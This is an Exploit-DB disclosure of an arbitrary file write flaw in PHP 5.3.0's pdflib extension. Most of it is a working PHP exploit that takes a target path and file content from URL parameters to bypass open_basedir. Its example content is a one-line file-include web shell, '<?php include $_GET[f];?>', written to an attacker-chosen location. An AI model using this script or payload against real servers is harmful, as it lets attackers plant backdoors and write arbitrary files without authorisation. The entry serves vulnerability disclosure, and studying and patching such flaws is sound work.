PHP 5.3.0 - pdflib Arbitrary File Write

2009-11-06T00:00:00
ID EDB-ID:9842
Type exploitdb
Reporter Sina Yazdanmehr
Modified 2009-11-06T00:00:00

Description

PHP 5.3.0 pdflib Arbitrary File Write. Local exploit for php platform

                                        
                                            Description:
------------
Via this bug , attacker can save a file in path that not allowed in
open_basedir .

Reproduce code:
---------------
<?php
// Author : Sina Yazdanmehr (R3d.W0rm) ; Our Site : http://IrCrash.com
if(!extension_loaded('pdf')){
   die('pdf extension required .');   
}else{
    $__PATH = $_GET['p']; /*The path that u want save file in .ex:
/etc/file.php*/
    $__VALUE = $_GET['v']; /*The text that u want save in file .ex:
<?php include $_GET[f];?>*/
    if(!isset($__PATH,$__VALUE)){
       
die('/expl.php?p=[path_u_want_save_file]/[file_name]&v=[value_u_want_sav
e_in_file]');
    }
    $__IRCRASH = pdf_new();
    pdf_open_file($__IRCRASH,$__PATH);
    pdf_begin_page($__IRCRASH,612,792);
   
pdf_add_note($__IRCRASH,100,650,200,750,$__VALUE,'R3d.W0rm','note',0);
    pdf_end_page($__IRCRASH);
    pdf_close($__IRCRASH);
    pdf_delete($__IRCRASH);
    print('<p>IrCrash Security Team .</p>');
    print('<p>' . $__PATH . "\n"  . 'created .</p>');}
?>

Expected result:
----------------
When attacker run this code , a file in a path that attacker input in
`p` in url , whith value that attacker input in `v` in url.